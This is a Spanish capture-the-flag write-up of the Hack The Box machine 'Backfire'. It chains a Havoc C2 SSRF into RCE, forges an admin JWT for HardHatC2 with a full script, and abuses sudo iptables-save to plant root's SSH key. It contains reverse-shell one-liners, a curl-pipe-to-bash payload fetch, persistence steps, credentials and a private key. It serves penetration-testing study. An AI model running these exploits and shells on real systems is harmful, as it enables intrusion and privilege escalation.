Page cover

🟠Backfire

En esta ocasión vamos a hacer el writeup de la máquina Backfire de Hack the Box, una máquina Linux de dificultad medium.

Información General

  • Nombre de la máquina: Backfire

  • IP: 10.10.11.49

  • Sistema operativo: Linux

  • Dificultad: 🟡 Media

  • Fecha: 09/06/2025


Reconocimiento Inicial

Añadimos la IP al /etc/hosts

sudo echo "10.10.11.49 backfire.htb" | sudo tee -a /etc/hosts

Escaneo de Puertos

sudo nmap -v -sCV -T5 10.10.11.49
PORT     STATE    SERVICE  VERSION
22/tcp   open     ssh      OpenSSH 9.2p1 Debian 2+deb12u4 (protocol 2.0)
443/tcp  open     ssl/http nginx 1.22.1
5000/tcp filtered upnp
8000/tcp open     http     nginx 1.22.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Destacan los puertos 8000 (servicio web), 443 y el puerto 5000 (filtered).

Acceso Web

Accedemos a 10.10.11.49:8000 y observamos que hay 2 archivos a los que tenemos acceso.

El archivo disable_tls nos indica un un puerto en localhost 40056 por el que corre la aplicación web, pero al que solo podemos acceder por SSH forwarding. Indica que el usuario serjeg no está trabajando, por lo que sobre todo centraremos nuestros esfuerzos en otros usuarios:

Disable TLS for Websocket management port 40056, so I can prove that
sergej is not doing any work
Management port only allows local connections (we use ssh forwarding) so 
this will not compromize our teamserver

Antes de que se aplique el parche, el servidor escucha utilizando wss, que se conecta solo a HTTPS, y viceversa. Ahora, eso ha cambiado a ws, lo que permite a los usuarios comunicarse en HTTP. Además, se elimina la llamada al método setSslConfiguration, lo que permite una conexión HTTP insegura.

En el archivo havoc encontramos y credenciales de varios usuarios: ilya y sergej:

Teamserver {
    Host = "127.0.0.1"
    Port = 40056

    Build {
        Compiler64 = "data/x86_64-w64-mingw32-cross/bin/x86_64-w64-mingw32-gcc"
        Compiler86 = "data/i686-w64-mingw32-cross/bin/i686-w64-mingw32-gcc"
        Nasm = "/usr/bin/nasm"
    }
}

Operators {
    user "ilya" {
        Password = "CobaltStr1keSuckz!"
    }

    user "sergej" {
        Password = "1w4nt2sw1tch2h4rdh4tc2"
    }
}

Demon {
    Sleep = 2
    Jitter = 15

    TrustXForwardedFor = false

    Injection {
        Spawn64 = "C:\\Windows\\System32\\notepad.exe"
        Spawn32 = "C:\\Windows\\SysWOW64\\notepad.exe"
    }
}

Listeners {
    Http {
        Name = "Demon Listener"
        Hosts = [
            "backfire.htb"
        ]
        HostBind = "127.0.0.1" 
        PortBind = 8443
        PortConn = 8443
        HostRotation = "round-robin"
        Secure = true
    }
}

El listener escucha en TCP/8443. A partir del resultado del escaneo Nmap, sabemos que Nginx escucha en TCP/443, lo que puede indicar que Nginx se está utilizando como un redireccionador. Al observar los exploits públicos para Havoc C&C, hay un Server Side Request Forgery y una Ejecución Remota de Código Autenticada.

Foothold inicial

El primer paso en nuestra cadena de ataque es verificar si los Proof of Concepts proporcionados funcionan como se espera. El PoC de SSRF requiere tres argumentos de línea de comandos: la URL objetivo, la dirección IP y el puerto del listener del atacante.

python3 exploit.py -t https://backfire.htb/ -i 10.10.15.30 -p 80

[***] Trying to register agent...
[***] Success!
[***] Trying to open socket on the teamserver...
[***] Success!
[***] Trying to write to the socket
[***] Success!
[***] Trying to poll teamserver for socket output...
[***] Read socket output successfully!

HTTP/1.0 404 File not found
Server: SimpleHTTP/0.6 Python/3.13.2
<----SNIP---->

Observamos la respuesta HTTP de nuestro listener:

python3 -m http.server 80

Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.49 - - [09/Jun/2025 09:19:15] code 404, message File not found
10.10.11.49 - - [09/Jun/2025 09:19:15] "GET /vulnerable HTTP/1.1" 404 -

Esto confirma que el SSRF está funcionando: el objetivo vulnerable está realizando solicitudes HTTP a un servidor controlado por el atacante.

Havoc RCE

La explotación de ejecución remota de código (RCE) requiere una conexión WebSocket válida al servidor de Havoc. A partir del perfil expuesto de Havoc, sabemos que el listener de WebSocket corre en el puerto TCP 40056, el cual no es accesible externamente de forma directa. Sin embargo, dado que el SSRF permite solicitudes HTTP internas, podemos sondear este puerto a través de localhost (127.0.0.1):

python3 exploit.py -t https://backfire.htb/ -i 127.0.0.1 -p 40056

[***] Trying to register agent...
[***] Success!
[***] Trying to open socket on the teamserver...
[***] Success!
[***] Trying to write to the socket
[***] Success!
[***] Trying to poll teamserver for socket output...
[***] Read socket output successfully!
HTTP/1.1 404 Not Found
Content-Type: text/plain
Date: Mon, 09 Jun 2025 07:25:35 GMT
Content-Length: 18
Connection: close

404 page not found

Recibir un 404 Not Found confirma que el puerto está abierto y acepta solicitudes HTTP, lo cual es un paso clave hacia el encadenamiento de SSRF con RCE.

SSRF a RCE

Crear Reverse Shell

echo "bash -c 'bash -i >& /dev/tcp/10.10.15.30/4444 0>&1'" > shell.sh

Abrir servidor local con python

python3 -m http.server 80

Ejecución del exploit

Ejecutamos el exploit pasándole las credenciales del usuario ilya y conseguimos una reverse shell. Cuando nos salte el prompt para introducir un comando usamos curl http://10.10.15.30/shell.sh | bash

afsh4ck@kali:~$ python3 CVE-2024-41570.py -t https://10.10.11.49/ -i 127.0.0.1 -p 40056 -U ilya -P CobaltStr1keSuckz!

[***] Trying to register agent...
[***] Success!
[***] Trying to open socket on the teamserver...
[***] Success!
[***] Trying to write to the socket
[***] Success!
[***] Trying to poll teamserver for socket output...
[***] Read socket output successfully!

[***] Trying to write to the socket
[***] Success!
[***] Trying to poll teamserver for socket output...
[***] Read socket output successfully!

[***] Trying to write to the socket
[***] Success!
[***] Trying to poll teamserver for socket output...
[***] Read socket output successfully!

Enter command to execute: curl http://10.10.15.30/shell.sh | bash
[***] Trying to write to the socket
[***] Success!
[***] Trying to poll teamserver for socket output...
[***] Read socket output successfully!

Recibir Reverse Shell

afsh4ck@kali:~$ nc -lvnp 4444

listening on [any] 4444 ...
connect to [10.10.15.30] from (UNKNOWN) [10.10.11.49] 33342
bash: cannot set terminal process group (17577): Inappropriate ioctl for device
bash: no job control in this shell

ilya@backfire:~/Havoc/payloads/Demon$ whoami
ilya

ilya@backfire:~/Havoc/payloads/Demon$ id
uid=1000(ilya) gid=1000(ilya) groups=1000(ilya),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),100(users),106(netdev)

User Flag

ilya@backfire:/$ cd home
ilya@backfire:/home$ ls
ls
ilya
sergej
ilya@backfire:/home$ cd ilya    
ilya@backfire:~$ ls
files
hardhat.txt
Havoc
user.txt
ilya@backfire:~$ cat user.txt
b2490c6b75ef20271e3037************

Persistencia SSH

La sesión de la shell dura muy poco tiempo, por lo que generaremos un par de claves SSH para mantener el acceso sin contraseña:

Generar clave desde Kali

afsh4ck@kali:~$ ssh-keygen -t ed25519 -f ~/.ssh/backfire

Generating public/private ed25519 key pair.
Enter passphrase for "/home/kali/.ssh/backfire" (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /home/kali/.ssh/backfire
Your public key has been saved in /home/kali/.ssh/backfire.pub
The key fingerprint is:
SHA256:hpStApUNtpYHFcy9M0FcAlzxILY4c8+ZDAQ7WzRFVmE kali@kali
The key's randomart image is:
+--[ED25519 256]--+
|    *XXXX+E.     |
|   o.X=B+=       |
|  . X O .o.      |
|   o X B+o       |
|    o o So       |
|     . .         |
|                 |
|                 |
|                 |
+----[SHA256]-----+
afsh4ck@kali:~$ cat ~/.ssh/backfire.pub

ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJPQGPT441sUffHWW34CfPAoevpOpJzFIGmmZue/Acq1 kali@kali

Insertar en el objetivo

ilya@backfire:~$ echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJPQGPT441sUffHWW34CfPAoevpOpJzFIGmmZue/Acq1 kali@kali' >> ~/.ssh/authorized_keys

Conexión sin contraseña

afsh4ck@kali:~$ ssh -i ~/.ssh/backfire ilya@10.10.11.49
                               
Linux backfire 6.1.0-29-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.123-1 (2025-01-02) x86_64
ilya@backfire:~$ 

Escalada de Privilegios

Al leer hardhat.txt, descubrimos que Sergej instaló HardHatC2 para pruebas:

ilya@backfire:~$ cat hardhat.txt

Sergej said he installed HardHatC2 for testing and  not made any changes to the defaults
I hope he prefers Havoc bcoz I don't wanna learn another C2 framework, also Go > C# 

Comprobar servicios internos

ilya@backfire:~$ ss -tuln

Netid           State            Recv-Q           Send-Q                       Local Address:Port                        Peer Address:Port           Process           
udp             UNCONN           0                0                                  0.0.0.0:68                               0.0.0.0:*                                
tcp             LISTEN           0                4096                             127.0.0.1:8443                             0.0.0.0:*                                
tcp             LISTEN           0                511                                0.0.0.0:8000                             0.0.0.0:*                                
tcp             LISTEN           0                4096                             127.0.0.1:40056                            0.0.0.0:*                                
tcp             LISTEN           0                511                                0.0.0.0:443                              0.0.0.0:*                                
tcp             LISTEN           0                128                                0.0.0.0:22                               0.0.0.0:*                                
tcp             LISTEN           0                512                                0.0.0.0:5000                             0.0.0.0:*                                
tcp             LISTEN           0                512                                0.0.0.0:7096                             0.0.0.0:*                                
tcp             LISTEN           0                128                                   [::]:22                                  [::]:*   

Nos llama la atención los puertos 5000 y 7096.

Port Forwarding SSH

Redirigiremos el tráfico a esos puertos para ver los servicios expuestos:

ssh -i ~/.ssh/backfire ilya@backfire.htb -L 7096:127.0.0.1:7096 -L 5000:127.0.0.1:5000

Accedemos al portal web en https://localhost:7096

Probamos las contraseñas que tenemos hasta ahora de los usuarios pero no funcionan, por lo que tendremos que buscar otra vía para acceder.

Explotación de HardHatC2 – Auth Bypass + RCE

Encontramos este excelente artículo con vulnerabilidades 0day en HardHatC2: HardHatC2 0-Days (RCE & AuthN Bypass) | by Pichaya Morimoto | สยามถนัดแฮก Vulnerabilidades destacadas:

  • Arbitrary File Write

  • Authentication Bypass

  • Remote Code Execution (RCE)

Probamos el bypass de autenticación, y confirmamos que se creó el usuario sth_pentest:

hardhat_exploit.py
# @author Siam Thanat Hack Co., Ltd. (STH)
import jwt
import datetime
import uuid
import requests

rhost = '127.0.0.1:5000'

# Craft Admin JWT
secret = "jtee43gt-6543-2iur-9422-83r5w27hgzaq"
issuer = "hardhatc2.com"
now = datetime.datetime.utcnow()

expiration = now + datetime.timedelta(days=28)
payload = {
    "sub": "HardHat_Admin",  
    "jti": str(uuid.uuid4()),
    "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier": "1",
    "iss": issuer,
    "aud": issuer,
    "iat": int(now.timestamp()),
    "exp": int(expiration.timestamp()),
    "http://schemas.microsoft.com/ws/2008/06/identity/claims/role": "Administrator"
}

token = jwt.encode(payload, secret, algorithm="HS256")
print("Generated JWT:")
print(token)

# Use Admin JWT to create a new user 'sth_pentest' as TeamLead
burp0_url = f"https://{rhost}/Login/Register"
burp0_headers = {
  "Authorization": f"Bearer {token}",
  "Content-Type": "application/json"
}
burp0_json = {
  "password": "sth_pentest",
  "role": "TeamLead",
  "username": "sth_pentest"
}
r = requests.post(burp0_url, headers=burp0_headers, json=burp0_json, verify=False)
print(r.text)

Confirmamos que se crea el usuario sth_pentest

afsh4ck@kali:~$ python3 hardhat_exploit.py
                                                                     
/home/kali/Escritorio/machines/htb/backfire/hardhat_exploit.py:12: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
  now = datetime.datetime.utcnow()
Generated JWT:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJIYXJkSGF0X0FkbWluIiwianRpIjoiNGEzNTA4NTctNTdjNi00YmE2LWI5NTctNGMzN2YwMTIxMjMxIiwiaHR0cDovL3NjaGVtYXMueG1sc29hcC5vcmcvd3MvMjAwNS8wNS9pZGVudGl0eS9jbGFpbXMvbmFtZWlkZW50aWZpZXIiOiIxIiwiaXNzIjoiaGFyZGhhdGMyLmNvbSIsImF1ZCI6ImhhcmRoYXRjMi5jb20iLCJpYXQiOjE3NDk0NjY3MzcsImV4cCI6MTc1MTg4NTkzNywiaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93cy8yMDA4LzA2L2lkZW50aXR5L2NsYWltcy9yb2xlIjoiQWRtaW5pc3RyYXRvciJ9.aIEVSvEyqoDU778lrCDsjOyXVQq6S7fG8VUUZEP-zYM
/usr/lib/python3/dist-packages/urllib3/connectionpool.py:1097: InsecureRequestWarning: Unverified HTTPS request is being made to host '127.0.0.1'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warnings
  warnings.warn(
User sth_pentest created

Accedemos a Hardhat C2 con las credenciales:

sth_pentest:sth_pentest

Hardhat RCE

Después de obtener un usuario con rol TeamLead utilizando la vulnerabilidad de omisión de autenticación, un atacante puede interactuar con los implants y el propio host C2 para ejecutar comandos del sistema operativo.

Hacemos click en el botón azul "Interact" y vamos a la terminal arriba del todo:


👑 Root Flag

Dentro de la interfaz Implant Interact -> Terminal , el atacante puede emitir comandos arbitrarios que se ejecutan con privilegios de root (por configuración predeterminada) en el host C2 de la víctima o en los hosts del implante.

No podemos leer la flag directamente pero podemos conseguir una reverse shell como el usuario sergej:

bash -c 'bash -i >& /dev/tcp/10.10.15.30/4444 0>&1'

Permisos de ejecución

sergej@backfire:~$ sudo -l

Matching Defaults entries for sergej on backfire:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    use_pty

User sergej may run the following commands on backfire:
    (root) NOPASSWD: /usr/sbin/iptables
    (root) NOPASSWD: /usr/sbin/iptables-save

Un poco de investigación sobre estas herramientas debería ayudarnos a encontrar un blog escrito por smaury.

El blog tiene como objetivo explotar una vulnerabilidad de escritura de archivos arbitraria, permitiendo a un atacante escribir en cualquier archivo. Podemos añadir nuestra clave SSH a los authorized_keys del root (o crear una nueva) e iniciar sesión como root.

Crear SSH Key de Root

sergej@backfire:~$ ssh-keygen -t ed25519 -f root_key -N ""   

Generating public/private ed25519 key pair.
Your identification has been saved in root_key
Your public key has been saved in root_key.pub
The key fingerprint is:
SHA256:o9p3XzkFrne6QGYNpiaR60WpXsgG0AC3/er46FTkRlc sergej@backfire
The key's randomart image is:
+--[ED25519 256]--+
|  ..+o    E      |
|   . +.  o .     |
|    . = + o o .  |
|     + = * o + . |
|      + S = + o .|
|     o * * + . o |
|    . o o   o = .|
|   . *  . .  + + |
|   .=.+. . .. o. |
+----[SHA256]-----+

sergej@backfire:~$ PUBKEY=$(cat root_key.pub)   
sergej@backfire:~$ SSH_COMMENT=$'\n'"$PUBKEY"$'\n'   
sergej@backfire:~$ sudo /usr/sbin/iptables -A INPUT -i lo -j ACCEPT -m comment --comment "$SSH_COMMENT"   
sergej@backfire:~$ sudo /usr/sbin/iptables-save -f /root/.ssh/authorized_keys   

Nos copiamos la llave SSH root_key a nuestro Kali

sergej@backfire:~$ cat root_key

-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACAgANzDlnKma/AWd3LqTC7NjNljDpI/7dq8CHNhJWA6tAAAAJg2ti8ENrYv
BAAAAAtzc2gtZWQyNTUxOQAAACAgANzDlnKma/AWd3LqTC7NjNljDpI/7dq8CHNhJWA6tA
AAAED57JlBtj1WNqJtNGQwrYchZau9GP2k3Hpnr1iqvnD7WyAA3MOWcqZr8BZ3cupMLs2M
2WMOkj/t2rwIc2ElYDq0AAAAD3NlcmdlakBiYWNrZmlyZQECAwQFBg==
-----END OPENSSH PRIVATE KEY-----
afsh4ck@kali:~$ chmod 600 root_key                 

afsh4ck@kali:~$ ssh -i root_key root@backfire.htb
Linux backfire 6.1.0-29-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.123-1 (2025-01-02) x86_64

root@backfire:~# whoami
root
root@backfire:~# id
uid=0(root) gid=0(root) groups=0(root)
root@backfire:~# ls
root.txt
root@backfire:~# cat root.txt
b20434308206862458e280************

Y ya somos root!

Última actualización

¿Te fue útil?